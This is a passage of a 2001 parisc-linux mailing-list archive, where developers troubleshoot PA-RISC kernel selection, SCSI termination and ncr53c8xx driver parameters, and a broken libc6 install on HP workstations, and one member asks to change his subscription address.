	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13434

"JOERGENSEN,RUNAR (HP-Norway,ex1)" wrote:
> I'm a bit confused because I though we installed
> the 32bit version. In fact, when we boot we get
> thew following kernel: /boot/vmlinux-2.4.9-32.
> When I do a "file" on /boot/vmlinux-2.4.9-32,
> I get 32bit ELF executable.

Look at /etc/palo.conf and see what vmlinux it points to.
That's the one that's getting loaded/run.
By default you should have gotten a 32-bit kernel.
I doubt the syscall wrapper is the issue.

Newer 2.4.16 kernels are available from ftp.parisc-linux.org/kernels/32.
I suggest grabbing one of those.

> The OS line I presented was picked from what
> "XFree86 -version" reports.

eg. Build Operating System: Linux 2.4.13 i686 [ELF] 

"uname -m" will tell you which vmlinux you are running on *now*.
Not which one the XF86 binaries where built on.

> A mismatch in the image itself?

not likely.
Sounds like you have the original, mostly working kernel still.
Just try a newer one.

grant



From - Thu Nov 08 21:20:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Wed, 19 Dec 2001 09:56:35 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20011219165635.3E405482A@dsl2.external.hp.com>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <1008594958.3c1df00ed9750@nyepost.start.no> <20011219113621.X1897@linuxcare.com>  <1008771313.3c20a0f14484a@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620873 31929 80.91.229.3 (22 Nov 2014 01:47:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:53 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@parisc-linux.org
To: Andy Walker <squawker@start.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 09:56:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3E405482A; Wed, 19 Dec 2001 09:56:35 -0700 (MST)
In-Reply-To: Message from Andy Walker <squawker@start.no> 
   of "Wed, 19 Dec 2001 15:15:13 +0100." <1008771313.3c20a0f14484a@nyepost.start.no> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13435

Andy Walker wrote:
> To triple check the termination, I installed the terminator packs on
> the card and moved the cable from the internal connector to the
> external one. No difference there, even with your kernel parameter
> suggestion.

Couple more things:
o make sure your disks are *not* terminated - just both ends of the bus.
o double check all connectors to make sure there are no bent pins.
o replace any cables you can - especially external ones.
o verify the disks are the correct type. For c720, I expect
  *differential* SCSI.  Single Ended disks were used with LASI based
  machines (53c710) and built-in fast/wide on a few of the BXXX/CXXX
  workstations.

grant



From - Thu Nov 08 21:20:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Wed, 19 Dec 2001 11:58:35 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <01121911583502.00844@Wolf-01>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <1008771313.3c20a0f14484a@nyepost.start.no> <20011219165635.3E405482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620874 31933 80.91.229.3 (22 Nov 2014 01:47:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:54 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 10:58:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflashcom (firewall.pflash.com [207.19.136.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A677482A
	for <parisc-linux@parisc-linux.org>; Wed, 19 Dec 2001 10:58:55 -0700 (MST)
Original-Received: from Wolf-01 (ppp50.cc1.pflash.com [63.121.24.52]) by vopserver.pflashcom
 (Vircom SMTPRS 5.2.203) with SMTP id <B0008958735@vopserver.pflashcom> for <parisc-linux@parisc-linux.org>;
 Wed, 19 Dec 2001 11:53:56 -0600
X-Mailer: KMail [version 1.2]
In-Reply-To: <20011219165635.3E405482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13436

On Wednesday 19 December 2001 10:56 am, Grant Grundler wrote:
- - - snip - - -
> o verify the disks are the correct type. For c720, I expect
>   *differential* SCSI.  Single Ended disks were used with LASI based
>   machines (53c710) and built-in fast/wide on a few of the BXXX/CXXX
>   workstations.

My 9000/720/50 has factory labels on the external disk connectors specifing 
the type of disk to use ("Warning, use single ended disks only").

Perhaps the 725/100 has similar labels (inside or outside the box).

Mike



From - Thu Nov 08 21:20:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LibC errors on C180 install
Date: Wed, 19 Dec 2001 10:51:41 -0900 (AKST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112191033240.1400-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620874 31938 80.91.229.3 (22 Nov 2014 01:47:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:54 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 12:53:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30848482A
	for <parisc-linux@parisc-linux.org>; Wed, 19 Dec 2001 12:53:58 -0700 (MST)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GOLWLS00.YP6 for
          <parisc-linux@parisc-linux.org>; Wed, 19 Dec 2001 10:53:52 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GOLWLS02.K3E for <parisc-linux@parisc-linux.org>; Wed, 19 Dec
          2001 10:53:52 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA01554
	for <parisc-linux@parisc-linux.org>; Wed, 19 Dec 2001 10:51:41 -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13437

Interesting - C180, 4G FWSCSI.5, Plextor CD SESCSI.5, 0.93 ISO. On install
I had a segfault in the base-config, which bombed the rest of the install.
Manually added FTP, pulled the latest kernel, reboot and now I can get APT
etc to run, but every time it tries to update libc6 I get an error -
"unable to stat './usr/lib/gconv/CP1251.so' (which I was about to install
): Value too large for defined data type", then libc6 fails to install.

At first I thought the crashing might be FWSCSI related, so I added the
palo parameter (burst:3) to it; somewhere between that and the -pa20
kernel I've cured the segfaults. Is there something I missed in the list
archives about this? Or, since this is a brand-new install, should I just
rerun the install from scratch with some different selection?




From - Thu Nov 08 21:20:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LibC errors on C180 install
Date: Wed, 19 Dec 2001 13:01:33 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20011219200133.8E40A482A@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0112191033240.1400-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620874 31946 80.91.229.3 (22 Nov 2014 01:47:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:54 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 13:01:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8E40A482A; Wed, 19 Dec 2001 13:01:33 -0700 (MST)
In-Reply-To: Message from Tom <palinux@alaskatech.org> 
   of "Wed, 19 Dec 2001 10:51:41 -0900." <Pine.LNX.4.33.0112191033240.1400-100000@goliath.alaskatech.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13438

Tom wrote:
> I had a segfault in the base-config, which bombed the rest of the install.

"debsums -s" will tell you which packages got corrupted during install.
Sounds like you could mount the CD and "dpkg -i" the base packages again.
Then run apt-get update/dist-upgrade.

grant




From - Thu Nov 08 21:20:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Wed, 19 Dec 2001 21:28:58 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <001b01c188cb$cb1eda60$0201a8c0@andy>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <1008594958.3c1df00ed9750@nyepost.start.no> <20011219113621.X1897@linuxcare.com>  <1008771313.3c20a0f14484a@nyepost.start.no>  <20011219165635.3E405482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620875 31949 80.91.229.3 (22 Nov 2014 01:47:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:55 +0000 (UTC)
Cc: "Richard Hirst" <rhirst@linuxcare.com>,
	<parisc-linux@parisc-linux.org>
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 13:27:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FB7F482A
	for <parisc-linux@parisc-linux.org>; Wed, 19 Dec 2001 13:27:35 -0700 (MST)
Original-Received: from andy (s01i30-0623.no.powertech.net [195.159.54.111])
	by smtp1.powertech.no (Postfix) with SMTP
	id CEBD688FC; Wed, 19 Dec 2001 21:27:32 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13439

From: "Grant Grundler" <grundler@dsl2.external.hp.com>

> Andy Walker wrote:
> > To triple check the termination, I installed the terminator packs on
> > the card and moved the cable from the internal connector to the
> > external one. No difference there, even with your kernel parameter
> > suggestion.
>
> Couple more things:
> o make sure your disks are *not* terminated - just both ends of the bus.

Already checked. The internal cable has a terminator built into the end. The
disks are definitely not terminated.
In the original configuration the internal was attached to the internal
connector. There wer no terminator packs on the card itself, and there was
a terminator attached to the external connector.
In the second configuration, I hung the internal cable on the external
connector, and installed the terminator packs on the card. Same results.

> o double check all connectors to make sure there are no bent pins.
> o replace any cables you can - especially external ones.

I'll double check all this tomorrow, but the fact that I can boot HP-UX
off of these disks suggests that the hardware is intact. At the moment
I'm only using a single internal cable - I'll swap it and see what
happens.

> o verify the disks are the correct type. For c720, I expect
>   *differential* SCSI.  Single Ended disks were used with LASI based
>   machines (53c710) and built-in fast/wide on a few of the BXXX/CXXX
>   workstations.

Well, one of the disks in question is the original HP-UX boot disk for
this machine, and its a Seagate WD prefix disk. The other disk I tried
is also a WD disk, taken from a C110. The Bluefish is reported as diff
by the 53c8xx driver, it says differential on the external connector -
there can't be any doubt, can there? This should all work together.

Obviously, my initial thoughts went to the know problems with the c720
on 735's. The problem does seem very similar - I understood that the
735 problem was caused by some weirdo HP glue logic chip. Could this
not be a similar case?

Anyway, I'll take an known good disk with me tomorrow and try that with
a different internal cable. I'll also double check that everything is
still working with HP-UX. More news as it breaks.........

-Andy




From - Thu Nov 08 21:20:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Wed, 19 Dec 2001 13:40:48 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20011219204048.2140B482A@dsl2.external.hp.com>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <1008594958.3c1df00ed9750@nyepost.start.no> <20011219113621.X1897@linuxcare.com> <1008771313.3c20a0f14484a@nyepost.start.no> <20011219165635.3E405482A@dsl2.external.hp.com>  <001b01c188cb$cb1eda60$0201a8c0@andy>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620875 31955 80.91.229.3 (22 Nov 2014 01:47:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:55 +0000 (UTC)
Cc: "Richard Hirst" <rhirst@linuxcare.com>,
	parisc-linux@parisc-linux.org
To: "Andy Walker" <squawker@start.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 13:40:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2140B482A; Wed, 19 Dec 2001 13:40:48 -0700 (MST)
In-Reply-To: Message from "Andy Walker" <squawker@start.no> 
   of "Wed, 19 Dec 2001 21:28:58 +0100." <001b01c188cb$cb1eda60$0201a8c0@andy> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13440

"Andy Walker" wrote:
> by the 53c8xx driver, it says differential on the external connector -
> there can't be any doubt, can there? This should all work together.

It sounds like it should all just work. Especially if HPUX works.
But HPUX sometimes cripples the bus speed or *wideth* based
on what PDC tells it. Perhaps you need to do the same. I really
don't expect any issues with bus speed on differential SCSIs.
Possibly a wide vs narrow bus issue (Chip thinks it's wide and the cabling
is narrow). We see that on C3k still and I started (but didn't finish)
the code to query PDC about Host SCSI ID, bus speed, and width.

> Anyway, I'll take an known good disk with me tomorrow and try that with
> a different internal cable. I'll also double check that everything is
> still working with HP-UX. More news as it breaks.........

Yeah - if HPUX boots/talks to the devices, they are basically ok.
It's a matter of getting the linux driver the right parameters then.

grant




From - Thu Nov 08 21:20:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Wed, 19 Dec 2001 21:03:29 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <20011219210329.E1897@linuxcare.com>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <1008594958.3c1df00ed9750@nyepost.start.no> <20011219113621.X1897@linuxcare.com> <1008771313.3c20a0f14484a@nyepost.start.no> <20011219165635.3E405482A@dsl2.external.hp.com> <001b01c188cb$cb1eda60$0201a8c0@andy> <squawker@start.no> <20011219204048.2140B482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620875 31963 80.91.229.3 (22 Nov 2014 01:47:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:55 +0000 (UTC)
Cc: Andy Walker <squawker@start.no>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 14:04:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D414482B
	for <parisc-linux@parisc-linux.org>; Wed, 19 Dec 2001 14:04:40 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 59CF2B00C; Wed, 19 Dec 2001 21:03:29 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011219204048.2140B482A@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Wed, Dec 19, 2001 at 01:40:48PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13441

On Wed, Dec 19, 2001 at 01:40:48PM -0700, Grant Grundler wrote:
> "Andy Walker" wrote:
> > by the 53c8xx driver, it says differential on the external connector -
> > there can't be any doubt, can there? This should all work together.
> 
> It sounds like it should all just work. Especially if HPUX works.
> But HPUX sometimes cripples the bus speed or *wideth* based
> on what PDC tells it. Perhaps you need to do the same. I really
> don't expect any issues with bus speed on differential SCSIs.
> Possibly a wide vs narrow bus issue (Chip thinks it's wide and the cabling
> is narrow). We see that on C3k still and I started (but didn't finish)
> the code to query PDC about Host SCSI ID, bus speed, and width.
> 
> > Anyway, I'll take an known good disk with me tomorrow and try that with
> > a different internal cable. I'll also double check that everything is
> > still working with HP-UX. More news as it breaks.........
> 
> Yeah - if HPUX boots/talks to the devices, they are basically ok.
> It's a matter of getting the linux driver the right parameters then.

>From drivers/scsi/README.ncr53c8xx, you can force narrow by booting with

ncr53c8xx=wide:0

and disable tagged commands with

ncr53c8xx=wide:0,tags:0

and force async with

ncr53c8xx=wide:0,tags:0,sync:255

and disable dma burst with

ncr53c8xx=wide:0,tags:0,sync:255,busrt:0

and disable disconnect with

ncr53c8xx=wide:0,tags:0,sync:255,burst:0,disc:n


Richard




From - Thu Nov 08 21:20:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David Standen" <david.standen@blueyonder.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Subscription
Date: Wed, 19 Dec 2001 02:21:58 -0000
Lines: 53
Approved: news@gmane.org
Message-ID: <000801c18833$efbc76e0$010148ac@optiplex>
Reply-To: "David Standen" <david.standen@blueyonder.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0005_01C18833.EF8A1C40"
X-Trace: ger.gmane.org 1416620876 31967 80.91.229.3 (22 Nov 2014 01:47:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:56 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 15:23:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from blueyonder.co.uk (pcow035o.blueyonder.co.uk [195.188.53.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BF15482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Dec 2001 15:23:11 -0700 (MST)
Original-Received: from pcow035o.blueyonder.co.uk ([127.0.0.1]) by blueyonder.co.uk  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Wed, 19 Dec 2001 22:23:08 +0000
Original-Received: from optiplex (unverified) by pcow035o.blueyonder.co.uk
 (Content Technologies SMTPRS 4.2.5) with SMTP id <T57ed9c256cac1785ed28e@pcow035o.blueyonder.co.uk> for <parisc-linux@lists.parisc-linux.org>;
 Wed, 19 Dec 2001 22:23:08 +0000
X-Priority: 5
X-MSMail-Priority: Low
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13442

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C18833.EF8A1C40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

please remove me old email from the database and please add my new one, =
much



david.standen@nexos.freeserve.co.uk    OLD
david.standen@blueyonder.co.uk            NEW

thanks
David

------=_NextPart_000_0005_01C18833.EF8A1C40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>please remove me old email from the =
database and=20
please add my new one, much</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:david.standen@nexos.freeserve.co.uk">david.standen@nexos.f=
reeserve.co.uk</A>&nbsp;&nbsp;&nbsp;=20
OLD</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:david.standen@blueyonder.co.uk">david.standen@blueyonder.c=
o.uk</A>&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; NEW</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>David</FONT></DIV></BODY></HTML>

------=_NextPart_000_0005_01C18833.EF8A1C40--




From - Thu Nov 08 21:20:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
